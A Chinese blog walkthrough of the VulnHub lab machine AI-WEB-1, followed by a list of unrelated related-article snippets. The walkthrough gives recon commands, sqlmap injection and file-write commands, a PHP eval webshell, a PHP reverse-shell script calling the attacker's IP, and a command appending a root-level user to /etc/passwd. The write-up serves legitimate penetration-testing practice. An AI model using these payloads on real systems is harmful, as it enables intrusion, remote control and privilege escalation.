Vulnhub靶机——AI-WEB-1
目录
一、实验环境
1.1 攻击机Kali
1.2 靶机下载
二、站点信息收集
2.1 IP扫描
2.2 端口扫描
2.3 目录扫描
三、漏洞利用
3.1 SQL注入
3.2 文件上传
四、权限提升
4.1 nc反弹连接
4.2 切换用户
一、实验环境
1.1 攻击机Kali
在虚拟机中安装Kali系统并作为攻击机
1.2 靶机下载
(1)下载地址: AI: Web: 1 ~ VulnHub
(2)通过上述简介可以知道,此盒子旨在测试渗透测试人员的技能,目标很简单,从 /root/flag.txt 获取标志。枚举 box,获取低权限 shell,然后将权限提升到 root。
(3)直接在VMware虚拟机中打开该靶机
1.3 工具准备
- Sqlmap
- BurpSuite
- 蚁剑
二、站点信息收集
2.1 IP扫描
(1)使用命令netdiscover查找靶机的IP地址
(2)发现地址为192.168.101.132
2.2 端口扫描
(1)使用nmap工具对目标机进行端口扫描,发现只开启了80端口
(2)访问80端口,页面无可用信息
2.3 目录扫描
(1)使用dirsearch工具对网站目录进行扫描,发现robots.txt文件
(2)直接访问robots.txt文件,发现文件中有两个目录
(3)访问这两个目录,访问失败,均无权限
(4)使用dirsearch工具对目录/m3diNf0进行扫描,发现info.php文件
dirsearch -u http://192.168.101.132/m3diNf0
(5)使用dirsearch工具对目录/se3reTdir777进行扫描
dirsearch -u http://192.168.101.132/se3reTdir777
(6)使用dirb工具对目录/se3reTdir777进行扫描,发现index.php文件
dirb http://192.168.101.132/se3reTdir777
(7)访问info.php文件,可以发现文件的根路径
(8)访问index.php文件,发现是一个信息查询的界面
三、漏洞利用
3.1 SQL注入
(1)输入单引号 ' ,出现报错信息,证明存在SQL注入漏洞
(2)输入1' or 1=1#,页面有回显信息
(3)使用burpsuite抓包,发现注入点是uid=1&Operation=Submit
(4)使用sqlmap工具进行注入测试,发现了两个数据库:aiweb1、information_schema
python sqlmap.py -u "http://192.168.101.132/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" --dbs
(5)查找aiweb1数据库下的表名,发现两个表:user、systemUser
python sqlmap.py -u "http://192.168.101.132/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" -D aiweb1 --tables
(6)查找systemUser表下的字段名
python sqlmap.py -u "http://192.168.101.132/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" -D aiweb1 -T systemUser --columns
(7)查找systemUser表中的数据,没有发现有用的信息
python sqlmap.py -u "http://192.168.101.132/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" -D aiweb1 -T systemUser -C id,password,userName --dump
3.2 文件上传
(1)使用sqlmap工具中的os-shell功能,通过SQL注入漏洞在目标服务器上执行操作系统命令
python sqlmap.py -u "http://192.168.101.132/se3reTdir777/" -data "uid=1&Operation=Submit" --os-shell
分别选择4-php、Y和2-绝对路径,并输入拼接的上述找到的网站根路径与上传路径 /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads
(2)在kali里新建一个muma.php,写入一句话木马
<?php @eval($_POST['cmd']);?> //一句话木马,密码为cmd
(3)将一句话木马上传到网站/se3reTdir777/uploads目录下
sqlmap -u "http://192.168.101.132/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write muma.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/muma.php
(4)在os-shell界面输入ls查看,一句话木马上传成功
(5)文件夹名为uploads,猜测可能存在文件上传漏洞,依次访问上述php文件,发现一个文件上传页面
四、权限提升
使用蚁剑进行连接已经上传的一句话木马
4.1 nc反弹连接
(1)在kali中开启监听
(2)新建一个nc.php文件,编写nc反弹脚本
<?php
$sock=fsockopen("192.168.101.130",9999); //这里是kali的IP
exec("/bin/bash -i <&3 >&3 2>&3");
?>
(3)在找到的文件上传页面上传该文件
(4)在蚁剑终端中输入ls,发现nc.php文件上传成功,执行该文件
php nc.php
(5)kali中监听成功
4.2 切换用户
(1)查找当前用户有写权限的文件
find / -writable -type f 2>/dev/null
(2)方法一:使用perl对密码进行加密
perl -le 'print crypt("awuawu","aa")' //第一个参数是密码,第二个参数是盐值
方法二:使用openssl加密
openssl passwd -1 -salt aa awuawu
(3)将用户xjy写入/etc/passwd中
echo "xjy:aa2bf6PiqD9iI:0:0:root:/root:/bin/bash" >>/etc/passwd
(4) 查看是否成功写入
(5)我们当前获得的webshell是一个非交互式的,使用脚本获得一个交互式的webshell,并切换用户
python -c "import pty;pty.spawn('/bin/bash')"
(6)切换目录,查找flag
声明
1.本博客文章均为博主日常学习原创内容,转载请注明出处。
2.文章内容如有涉及侵犯您的知识产权和版权问题,请及时与我联系。
3.希望以上的学习经验分享能对您有所帮助。
4.本内容仅供学习和研究使用,严禁用于任何非法或不道德的行为,任何违反法律的行为将由行为人自行承担。
相关文章:

Vulnhub靶机——AI-WEB-1
目录 一、实验环境 1.1 攻击机Kali 1.2 靶机下载 二、站点信息收集 2.1 IP扫描 2.2 端口扫描 2.3 目录扫描 三、漏洞利用 3.1 SQL注入 3.2 文件上传 四、权限提升 4.1 nc反弹连接 4.2 切换用户 一、实验环境 1.1 攻击机Kali 在虚拟机中安装Kali系统并作为攻击机 1.2 靶机下载 (…...

无人系统:未来科技的智能化代表
无人系统(Unmanned Systems)是指在不依赖人类直接干预的情况下,通过自主或远程控制方式完成任务的系统。随着科技的不断进步,特别是在人工智能、机器人学、传感技术、通信技术等领域的突破,无人系统在各行各业中得到了…...

在Docker中部署DataKit最佳实践
本文主要介绍如何在 Docker 中安装 DataKit。 配置和启动 DataKit 容器 登陆观测云平台,点击「集成」 -「DataKit」 - 「Docker」,然后拷贝第二步的启动命令,启动参数按实际情况配置。 拷贝启动命令: sudo docker run \--hostn…...

进程的状态 ─── linux第11课
目录 编辑 补充知识: 1.并行和并发 分时操作系统(Time-Sharing Systems) 实时操作系统(Real-Time Systems) 进程的状态(操作系统层面) 编辑 运行状态 阻塞状态 状态总结: 挂起状态 linux下的进程状态 补充知识: …...

MySQL数据库基本概念
目录 什么是数据库 从软件角度出发 从网络角度出发 MySQL数据库的client端和sever端进程 mysql的client端进程连接sever端进程 mysql配置文件 MySql存储引擎 MySQL的sql语句的分类 数据库 库的操作 创建数据库 不同校验规则对查询的数据的影响 不区分大小写 区…...
什么是 jQuery
一、jQuery 基础入门 (一)什么是 jQuery jQuery 本质上是一个快速、小巧且功能丰富的 JavaScript 库。它将 JavaScript 中常用的功能代码进行了封装,为开发者提供了一套简洁、高效的 API,涵盖了 HTML 文档遍历与操作、事件处理、…...

Redis Desktop Manager(Redis可视化工具)安装及使用详细教程
一、安装包下载 直接从官网下载,官网下载链接地址:Downloads - Redis 二、安装步骤 2.1说明 Redis Desktop Manager是一款简单快速、跨平台的Redis桌面管理工具,也也被称作Redis可视化工具。 支持命令控制台操作,以及常用&…...

[KEIL]单片机技巧 01
1、查看外设寄存器的值 配合对应的芯片开发手册以查看寄存器及其每一位的意义,可以解决90%以上的单纯的片内外设bug,学会如何通过寄存器的值来排外设上的蛊是嵌入式开发从小白到入门的重要一步,一定要善于使用这个工具,而不是外设…...
云原生监控篇——全链路可观测性与AIOps实战
引言:监控即生命线 2023年某全球支付平台因一次未被捕获的数据库连接泄漏,导致每小时损失120万美元。而另一家社交巨头通过实时异常检测系统,在30秒内自动隔离了大规模DDoS攻击。这两个案例揭示了云原生时代的核心生存法则——监控不是可选项…...
C# 13与.NET 9革新及工业开发应用
摘要 微软推出的C# 13与.NET 9以“高效且智能”为导向,具备扩展类型、半自动属性、锁对象优化等十大革新。本文深入剖析新特性于工业级开发的应用场景,包含性能优化策略、AI集成方案以及EF Core实战技巧,为开发者提供从理论到实践的完整指引…...

Linux系统之DHCP网络协议
目录 一、DHCP概述 二、DHCP部署实操 2.1、安装DHCP软件 2.2、拷贝配置文件 2.3、配置文件详解 2.4、重启软件服务 2.5、新开一台服务器,查看dhcp地址获取 一、DHCP概述 DHCP(Dynamic Host Configuration Protocol)是一种应用层网络协…...

【Linux】【网络】不同子网下的客户端和服务器通信其它方式
【Linux】【网络】不同子网下的客户端和服务器通信其它方式 那么,在 NAT 环境下,应该如何让内网设备做为服务器,使内网设备被外部连接? 1 多拨 部分运营商,支持在多个设备上,通过 PPPoE 登录同一个宽带账…...
【C++/数据结构】栈
零.导言 栈是一种数据结构,在后续的学习中可能经常使用,因此我们今天就来学习如何实现栈,以更好地使用它。 一.栈的实现 栈的形式如下: #include<iostream> #include<cassert>using namespace std;typedef int Stack…...

Qt 对象树详解:从原理到运用
1. 什么是对象树? 对象树是一种基于父子关系的对象管理机制。在 Qt 中,所有继承自 QObject 的类都可以参与到对象树中。 当一个对象被设置为另一个对象的父对象时,子对象会被添加到父对象的内部列表中,形成一种树状结构。 Qt 提…...
【软路由】ImmortalWrt 编译指南:从入门到精通
对于喜欢折腾路由器,追求极致性能和定制化的玩家来说,OpenWrt 无疑是一个理想的选择。而在众多 OpenWrt 衍生版本中,ImmortalWrt 以其更活跃的社区、更激进的特性更新和对新硬件的支持而备受关注。 本文将带你深入了解 ImmortalWrt࿰…...

【智能音频新风尚】智能音频眼镜+FPC,打造极致听觉享受!【新立电子】
智能音频眼镜,作为一款将时尚元素与前沿科技精妙融合的智能设备,这种将音频技术与眼镜形态完美结合的可穿戴设备,不仅解放了用户的双手,更为人们提供了一种全新的音频交互体验。新立电子FPC在智能音频眼镜中的应用,为音…...

第2章 windows故障排除(网络安全防御实战--蓝军武器库)
网络安全防御实战--蓝军武器库是2020年出版的,已经过去3年时间了,最近利用闲暇时间,抓紧吸收,总的来说,第2章开始带你入门了,这里给出了几个windows重要的工具,说实话,好多我也是第一…...

深度学习笔记——线性回归的从0开始实现
记录学习到的知识: 语义分割是将标签或类别与图片的每个像素关联的一种深度学习算法。 它用来识别构成可区分类别的像素集合。 图像分割是一个端到端图像分析过程,它将数字图像分成多个片段,并对每个区域中包含的信息进行分类。三种图像分割…...
配置Spring Boot中的Jackson序列化
配置Spring Boot中的Jackson序列化 在开发基于Spring Boot的应用程序时,Jackson是默认的JSON序列化和反序列化工具。它提供了强大的功能,可以灵活地处理JSON数据。然而,Jackson的默认行为可能无法完全满足我们的需求。例如,日期格…...
AWS跨账号服务全解析:安全共享资源的最佳实践
在复杂的云环境中,企业常常需要将不同业务部门、项目或环境分配到独立的AWS账户中,以实现资源隔离和权限管控。然而,跨账户的资源共享与协作需求也随之而来。AWS为此提供了丰富的跨账号服务,允许不同账户之间安全、高效地共享资源。本文将深入解析这些服务,并结合实际场景…...

第一篇:Agent2Agent (A2A) 协议——协作式人工智能的黎明
AI 领域的快速发展正在催生一个新时代,智能代理(agents)不再是孤立的个体,而是能够像一个数字团队一样协作。然而,当前 AI 生态系统的碎片化阻碍了这一愿景的实现,导致了“AI 巴别塔问题”——不同代理之间…...
【决胜公务员考试】求职OMG——见面课测验1
2025最新版!!!6.8截至答题,大家注意呀! 博主码字不易点个关注吧,祝期末顺利~~ 1.单选题(2分) 下列说法错误的是:( B ) A.选调生属于公务员系统 B.公务员属于事业编 C.选调生有基层锻炼的要求 D…...
C++.OpenGL (10/64)基础光照(Basic Lighting)
基础光照(Basic Lighting) 冯氏光照模型(Phong Lighting Model) #mermaid-svg-GLdskXwWINxNGHso {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-GLdskXwWINxNGHso .error-icon{fill:#552222;}#mermaid-svg-GLd…...

【Java_EE】Spring MVC
目录 Spring Web MVC 编辑注解 RestController RequestMapping RequestParam RequestParam RequestBody PathVariable RequestPart 参数传递 注意事项 编辑参数重命名 RequestParam 编辑编辑传递集合 RequestParam 传递JSON数据 编辑RequestBody …...

ios苹果系统,js 滑动屏幕、锚定无效
现象:window.addEventListener监听touch无效,划不动屏幕,但是代码逻辑都有执行到。 scrollIntoView也无效。 原因:这是因为 iOS 的触摸事件处理机制和 touch-action: none 的设置有关。ios有太多得交互动作,从而会影响…...

Redis数据倾斜问题解决
Redis 数据倾斜问题解析与解决方案 什么是 Redis 数据倾斜 Redis 数据倾斜指的是在 Redis 集群中,部分节点存储的数据量或访问量远高于其他节点,导致这些节点负载过高,影响整体性能。 数据倾斜的主要表现 部分节点内存使用率远高于其他节…...

【数据分析】R版IntelliGenes用于生物标志物发现的可解释机器学习
禁止商业或二改转载,仅供自学使用,侵权必究,如需截取部分内容请后台联系作者! 文章目录 介绍流程步骤1. 输入数据2. 特征选择3. 模型训练4. I-Genes 评分计算5. 输出结果 IntelliGenesR 安装包1. 特征选择2. 模型训练和评估3. I-Genes 评分计…...

算法笔记2
1.字符串拼接最好用StringBuilder,不用String 2.创建List<>类型的数组并创建内存 List arr[] new ArrayList[26]; Arrays.setAll(arr, i -> new ArrayList<>()); 3.去掉首尾空格...
#Uniapp篇:chrome调试unapp适配
chrome调试设备----使用Android模拟机开发调试移动端页面 Chrome://inspect/#devices MuMu模拟器Edge浏览器:Android原生APP嵌入的H5页面元素定位 chrome://inspect/#devices uniapp单位适配 根路径下 postcss.config.js 需要装这些插件 “postcss”: “^8.5.…...

处理vxe-table 表尾数据是单独一个接口,表格tableData数据更新后,需要点击两下,表尾才是正确的
修改bug思路: 分别把 tabledata 和 表尾相关数据 console.log() 发现 更新数据先后顺序不对 settimeout延迟查询表格接口 ——测试可行 升级↑:async await 等接口返回后再开始下一个接口查询 ________________________________________________________…...